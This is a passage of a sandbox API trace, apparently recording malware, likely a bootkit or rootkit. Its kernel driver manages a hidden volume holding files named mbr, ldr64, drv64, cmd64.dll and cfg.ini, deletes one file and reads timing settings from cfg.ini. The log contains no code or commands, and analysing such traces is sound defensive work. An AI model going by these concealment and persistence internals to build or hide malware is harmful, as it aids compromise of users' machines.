returned -8 [0124.488] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.488] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.488] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.488] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.488] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.488] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.488] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.488] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.488] KeLeaveCriticalRegion () [0124.488] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.488] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.488] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.488] KeEnterCriticalRegion () [0124.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.489] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.489] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.489] IdePortDispatch () returned 0x103 [0124.489] KeWaitForMutexObject () returned 0x0 [0124.489] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.489] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.489] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.489] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.489] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.489] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.489] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.489] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.489] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.489] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.489] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.489] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.489] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.489] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.489] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.489] KeLeaveCriticalRegion () [0124.489] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.489] ReleaseMutex (hMutex=0x100) returned 1 [0124.489] Sleep (dwMilliseconds=0x2bf20) [0124.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d67d5b0, dwHighDateTime=0x1d24fa4)) [0124.498] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.498] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.498] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.498] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.498] KeEnterCriticalRegion () [0124.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.498] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.498] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.498] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.498] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.498] IdePortDispatch () returned 0x103 [0124.499] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.499] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.499] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.499] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.499] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.499] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1160 [0124.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.499] KeLeaveCriticalRegion () [0124.499] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.499] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.499] KeEnterCriticalRegion () [0124.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.499] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.499] KeLeaveCriticalRegion () [0124.499] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.499] KeEnterCriticalRegion () [0124.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.499] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.499] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.499] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.499] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.499] IdePortDispatch () returned 0x103 [0124.499] KeWaitForMutexObject () returned 0x0 [0124.499] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.499] KeLeaveCriticalRegion () [0124.499] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.500] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.500] KeEnterCriticalRegion () [0124.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.500] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800356a000 [0124.500] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.500] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.500] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.500] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.500] IdePortDispatch () returned 0x103 [0124.500] KeWaitForMutexObject () returned 0x0 [0124.500] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.500] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.500] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.500] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.500] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.500] IdePortDispatch () returned 0x103 [0124.500] KeWaitForMutexObject () returned 0x0 [0124.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.500] KeLeaveCriticalRegion () [0124.500] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.501] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.501] KeEnterCriticalRegion () [0124.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.501] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.501] KeLeaveCriticalRegion () [0124.501] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.501] KeEnterCriticalRegion () [0124.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.501] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.501] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.501] KeLeaveCriticalRegion () [0124.501] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.501] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.501] KeEnterCriticalRegion () [0124.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.501] ExFreePoolWithTag (P=0xfffffa8003bf1160, Tag=0x0) [0124.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.501] KeLeaveCriticalRegion () [0124.501] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.501] ReleaseMutex (hMutex=0xf0) returned 1 [0124.501] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.501] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.501] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.501] KeEnterCriticalRegion () [0124.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.501] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.501] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.501] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.502] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.502] IdePortDispatch () returned 0x103 [0124.502] KeWaitForMutexObject () returned 0x0 [0124.502] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.502] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.502] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.502] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.502] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.502] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf2da0 [0124.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.502] KeLeaveCriticalRegion () [0124.502] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.502] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.502] KeEnterCriticalRegion () [0124.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.502] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.502] KeLeaveCriticalRegion () [0124.502] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.502] KeEnterCriticalRegion () [0124.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.502] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.502] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.502] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.502] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.502] IdePortDispatch () returned 0x103 [0124.502] KeWaitForMutexObject () returned 0x0 [0124.502] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.503] KeLeaveCriticalRegion () [0124.503] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.503] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.503] KeEnterCriticalRegion () [0124.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.503] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800356b000 [0124.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.503] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.503] IdePortDispatch () returned 0x103 [0124.503] KeWaitForMutexObject () returned 0x0 [0124.503] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.503] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.503] IdePortDispatch () returned 0x103 [0124.503] KeWaitForMutexObject () returned 0x0 [0124.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.503] KeLeaveCriticalRegion () [0124.503] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.504] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.504] KeEnterCriticalRegion () [0124.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.504] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.504] KeLeaveCriticalRegion () [0124.504] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.504] KeEnterCriticalRegion () [0124.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.504] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.504] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1500, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.504] KeLeaveCriticalRegion () [0124.504] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.504] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.504] KeEnterCriticalRegion () [0124.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.504] ExFreePoolWithTag (P=0xfffffa8003bf2da0, Tag=0x0) [0124.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.504] KeLeaveCriticalRegion () [0124.504] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.504] ReleaseMutex (hMutex=0xf0) returned 1 [0124.504] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.504] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.504] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.504] KeEnterCriticalRegion () [0124.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.504] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.504] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.504] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.504] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.504] IdePortDispatch () returned 0x103 [0124.505] KeWaitForMutexObject () returned 0x0 [0124.505] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.505] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.505] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.505] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.505] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.505] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1f60 [0124.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.505] KeLeaveCriticalRegion () [0124.505] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.505] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.505] KeEnterCriticalRegion () [0124.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.505] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.505] KeLeaveCriticalRegion () [0124.505] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.505] KeEnterCriticalRegion () [0124.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.505] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.505] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.505] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.505] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.505] IdePortDispatch () returned 0x103 [0124.505] KeWaitForMutexObject () returned 0x0 [0124.505] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.505] KeLeaveCriticalRegion () [0124.505] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.506] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.506] KeEnterCriticalRegion () [0124.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.506] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800356c000 [0124.506] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.506] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.506] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.506] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.506] IdePortDispatch () returned 0x103 [0124.506] KeWaitForMutexObject () returned 0x0 [0124.506] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.506] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.506] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.506] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.506] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.506] IdePortDispatch () returned 0x103 [0124.506] KeWaitForMutexObject () returned 0x0 [0124.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.506] KeLeaveCriticalRegion () [0124.506] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.507] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.507] KeEnterCriticalRegion () [0124.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.507] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.507] KeLeaveCriticalRegion () [0124.507] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.507] KeEnterCriticalRegion () [0124.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.507] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.507] FsRtlFastUnlockAll 